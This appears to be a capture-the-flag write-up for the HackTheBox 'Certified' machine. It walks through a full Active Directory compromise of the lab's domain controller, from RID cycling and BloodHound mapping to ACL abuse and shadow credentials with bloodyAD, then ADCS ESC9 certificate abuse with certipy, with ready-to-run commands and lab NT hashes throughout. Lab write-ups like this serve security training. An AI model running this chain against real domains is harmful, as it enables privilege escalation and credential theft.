Certified HackTheBox
Certified HTB Writeup
Certified is a medium level box on HackTheBox which is based on assumed breach scenario we have valid credentials which we can use to enumerate the users in the domain whether via RID cycling or through LDAP, after feeding the ingested data to bloodhound helps identify the correct attack path to get a user which has ESC9, ESC9 helped us to get to the Administrator and retrieve the root flag.
Initial Enumeration
As always we are gonna start off with the rustmap to find the open ports and services on the box.
1
rustmap.py -ip 10.129.231.186
Scan gives us the following results.
We observed that a certificate authority is running on the DC and also the SMB ports are open.
SMB Enumeration
Credentials → judith.mader:judith09
As we have valid credentials lets just enumerate shares with them using NetExec.
1
nxc smb certified.htb -u 'judith.mader' -p 'judith09' --shares
No interesting share found within SMB.
Now lets just enumerate all the users using the RID Cycling attack.
1
nxc smb certified.htb -u 'judith.mader' -p 'judith09' --rid-brute
Saved this to the usernames.txt file.
Bloodhound
Used rusthound-ce as the collector to collect data from the domain.
1
rusthound-ce -d certified.htb -u 'judith.mader' -p 'judith09' -f dc01.certified.htb -z
Now uploading this created zip to our BloodhoundCE.
Marking our judith.mader user as owned.
I had formed the following bloodhound path.
Lateral Movement in Domain
Using bloodyAD to do the lateral movement from Judith.mader to Ca_operator.
https://github.com/CravateRouge/bloodyAD
Judith.mader@certified.htb → Management@certified.htb
We can see that Judith.mader has WriteOwner permissions on Management@certified.htb group.
So lets just set Judith as the owner of management group.
1
bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --dc-ip 10.129.231.186 set owner 'Management' 'judith.mader'
Now lets give judith.mader genericAll on management.
1
bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --dc-ip 10.129.231.186 add genericAll management judith.mader
Now we add judith.mader to the management group.
1
bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --dc-ip 10.129.231.186 add groupMember management judith.mader
To see that we have successfully added into the management group.
1
net rpc group members "Management" -U "certified.htb"/"judith.mader"%"judith09" -S "DC01"
Confirming that we successfully added judith.mader to the management group.
Now marking Management as owned.
Management@certified.htb → Management_svc@certified.htb
Now from management group we have GenericWrite on Management_svc user.
Exploiting that privilege with bloodyAD, we are using ShadowCredentials attack vector to get the TGT or NT hash of the management_svc user account.
1
bloodyAD -d certified.htb -u 'judith.mader' -p 'judith09' --dc-ip 10.129.231.186 add shadowCredentials 'management_svc'
Management_svc@certified.htb → ca_operator@certified.htb
After owning management_svc, we see that it has GenericAll on ca_operator.
Exploiting this using bloodyAD.
Since we have the TGT for management_svc user stored in the .ccache file.
1
export KRB5CCNAME=management_svc_Wj.ccache
exported the ccache file to our kerberos environment variable and used klist to showcase it.
I was experiencing problems with the TGT the kerberos way of using bloodyAD.
So proceeding with the normal usage of bloodyAD.
1
bloodyAD -d certified.htb -u 'management_svc' -p :a091c1832bcdd4677c28b5a6a1295584 --dc-ip 10.129.231.186 add shadowCredentials 'ca_operator'
Now we have the NT hash of the ca_operator@certified.htb account and its TGT.
Shell as Management_svc
Now lets try to authenticate as ca_operator on certified.htb.
1
nxc winrm certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2
Unfortunately we cant do this so lets try with our management_svc user.
1
nxc winrm certified.htb -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
And yes it says pwned, using evil-winrm to get a shell as management_svc.
1
evil-winrm -i 10.129.231.186 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
Grabbing that user.txt and submitting it.
Privilege Escalation
As the name of the box suggests “CERTIFIED” , I thought Cerificate service is running on the box and I was correct.
ESC9
Running certipy to find the CA and the vulnerable templates.
1
certipy find -u 'ca_operator' -hashes 'b4b86f45c6018f1b664f70805f45d8f2' -dc-ip '10.129.231.186' -vulnerable -text -enabled
Looking at the results we have this data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:48:52+00:00
Template Last Modified : 2024-05-13T15:55:20+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
We can see that in the EnrollmentFlag section the NoSecurityExtension is present which enables us to do a ESC9.
In the last line of output it is mentioned that it is vulnerable to ESC9.
Also for ESC9 to work we need enrollment permissions on ca_operator, to enroll a certificate.
The “Require Manager Approval” and “Authorized Signatures Required” flags also set to False and 0 which in our case is present.
Hence we can do ESC9.
Looking at the bloodhound data , as ca_operator we can Enroll certificates.
So lets exploit this and escalate to Administrator.
We need to have an account with GenericAll privileges on it.
In our case it is Management_svc has GenericAll on CA_Operator.
In the end we must have the NT hash of the targeted account which in our case is CA_Operator.
We have the NT hash of the CA_operator account.
Now using the NT hash of the Management_svc account we modify CA_operator user’s UPN and set to Administrator@certified.htb
1
certipy account update -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user 'ca_operator' -upn 'administrator@certified.htb' -dc-ip 10.129.231.186
After successfully modifying the UPN of the account CA_operator.
We now request a certificate with CA in our case it is certified-DC01-CA for the Administrator@certified.htb
1
certipy req -u 'ca_operator@certified.htb' -hashes :b4b86f45c6018f1b664f70805f45d8f2 -ca 'certified-DC01-CA' -template 'CertifiedAuthentication' -dc-ip 10.129.231.186
Now lets just authenticate using this .pfx file.
1
certipy auth -pfx administrator.pfx -dc-ip 10.129.231.186
Got the NT hash for the administrator account.
Now lets just revert back the changes.
1
certipy account update -u 'management_svc@certified.htb' -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb -dc-ip 10.129.231.186
If we dont revert the changes back we will face authentication issues. If the UPN still says “Administrator@certified@htb” , the DC might map the cert to “CA_OPERATOR” which could trigger name mismatch errors or our most encountered error “KDC_ERR_C_PRINCIPAL_UNKNOWN” whenever requesting a TGT.
Now lets verify that we have a correct Administrator hash using NetExec.
1
nxc ldap certified.htb -u 'Administrator' -H 0d5b49608bbce1751f708748f67e2d34
Now lets Winrm into the box as an administrator.
1
evil-winrm -i 10.129.231.186 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34
Grabbing the administrator flag and submitting it.
Rooted!!
Thanks for reading.